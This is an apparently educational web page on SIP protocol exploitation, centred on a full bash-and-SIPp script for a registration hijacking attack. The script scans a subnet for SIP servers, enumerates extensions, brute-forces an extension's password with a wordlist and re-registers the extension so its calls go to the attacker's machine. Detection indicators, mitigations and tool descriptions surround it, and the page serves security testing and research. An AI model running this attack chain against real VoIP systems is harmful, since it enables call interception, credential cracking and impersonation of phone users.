SIP Exploits & Attack Techniques

Practical examples of SIP protocol exploitation techniques for security testing and research

VoIP Security

Exploit Code

Attack Techniques

Security Research

SIP Exploitation Techniques Overview

This section provides detailed technical examples of SIP protocol exploitation techniques used in security testing and research. These examples demonstrate practical approaches to exploiting SIP vulnerabilities, helping security professionals understand attack methodologies and develop effective defenses.

Warning: The exploit code and techniques presented here are for educational and research purposes only. Using these techniques against systems without proper authorization is illegal and unethical. Always conduct security testing in controlled environments with explicit permission.

The code examples provided may require modification to work in specific environments. They are simplified for clarity and educational purposes.

Exploit Categories

Authentication Bypasses: Techniques to circumvent SIP authentication mechanisms
Registration Manipulation: Attacks targeting SIP registration processes
Denial of Service: Methods to disrupt SIP services and infrastructure
Traffic Interception: Techniques for eavesdropping on SIP signaling and media

Exploit Difficulty Levels

Understanding technical complexity

Basic

Low Complexity

Simple techniques requiring minimal technical knowledge

Intermediate

Medium Complexity

Requires understanding of SIP protocol and basic scripting

Advanced

High Complexity

Complex techniques requiring deep protocol knowledge and custom tools

Detailed SIP Exploitation Techniques

SIP Registration Hijacking with SIPVicious

Demonstrates how to use SIPVicious toolkit to perform a registration hijacking attack.

Medium Complexity

Critical Impact

Impact

This exploit allows an attacker to intercept calls intended for a legitimate user by hijacking their SIP registration.

Detection Indicators

Multiple REGISTER messages from different IP addresses for the same extension
Rapid changes in registration Contact information
Authentication attempts from unusual IP ranges

Required Access

Network access to the target SIP server

Exploit Code

#!/bin/bash
# SIP Registration Hijacking Attack Demonstration
# WARNING: For educational purposes only

# Step 1: First, enumerate SIP users with SIPVicious svmap and svwar
# Find SIP server
echo "[*] Scanning for SIP servers"
svmap 192.168.1.0/24 -p 5060-5070

# Identify SIP extensions
echo "[*] Enumerating SIP extensions on target"
svwar -e 100-500 192.168.1.100

# Step 2: Attempt to crack authentication for discovered extension
echo "[*] Attempting to crack SIP extension 101 password"
svcrack -u 101 -d wordlist.txt 192.168.1.100

# Step 3: Once credentials are obtained, perform registration hijacking
# Create registration message with attacker's contact info
cat > register.xml << EOF
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE scenario SYSTEM "sipp.dtd">
<scenario name="Register with Authentication">
  <!-- Initial REGISTER without authentication -->
  <send retrans="500">
    <![CDATA[
      REGISTER sip:[remote_ip] SIP/2.0
      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
      From: <sip:101@[remote_ip]>;tag=[call_number]
      To: <sip:101@[remote_ip]>
      Call-ID: [call_id]
      CSeq: 1 REGISTER
      Contact: <sip:101@[local_ip]:[local_port];transport=[transport]>
      Max-Forwards: 70
      User-Agent: SIPp/v3.5.1
      Expires: 3600
      Content-Length: 0
    ]]>
  </send>

  <!-- Expect 401 Unauthorized -->
  <recv response="401" auth="true">
  </recv>

  <!-- Send REGISTER with authentication -->
  <send retrans="500">
    <![CDATA[
      REGISTER sip:[remote_ip] SIP/2.0
      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
      From: <sip:101@[remote_ip]>;tag=[call_number]
      To: <sip:101@[remote_ip]>
      Call-ID: [call_id]
      CSeq: 2 REGISTER
      Contact: <sip:101@[local_ip]:[local_port];transport=[transport]>
      Max-Forwards: 70
      [authentication]
      User-Agent: SIPp/v3.5.1
      Expires: 3600
      Content-Length: 0
    ]]>
  </send>

  <!-- Expect 200 OK -->
  <recv response="200">
  </recv>

  <!-- Keep the call open for a while -->
  <timewait milliseconds="4000"/>
</scenario>
EOF

# Execute the registration hijack with SIPp
echo "[*] Performing registration hijack for extension 101"
sipp -sf register.xml 192.168.1.100 -s 101 -au 101 -ap 'password123'

echo "[*] Registration hijacking complete - calls to extension 101 will be directed to $(hostname -I | awk '{print $1}')"

Mitigation

Implement TLS for SIP signaling, enforce IP-based authentication policies, monitor for suspicious registration activities, and implement intrusion detection systems.

References

SIPVicious toolkit: https://github.com/EnableSecurity/sipvicious
OWASP VoIP Security and Testing Guide

SIP Exploitation Tools

SIPVicious

Suite of SIP security testing tools

SIPVicious is a set of tools that can be used to audit SIP-based VoIP systems. It includes tools for scanning, enumeration, and brute-forcing SIP servers.

Tool	Purpose
svmap	SIP server scanner
svwar	SIP extension enumerator
svcrack	SIP authentication cracker

SIPp

Traffic generator for the SIP protocol

SIPp is a performance testing tool for SIP protocol. It includes built-in scenario files for UAC, UAS, and can be used to generate various SIP traffic patterns.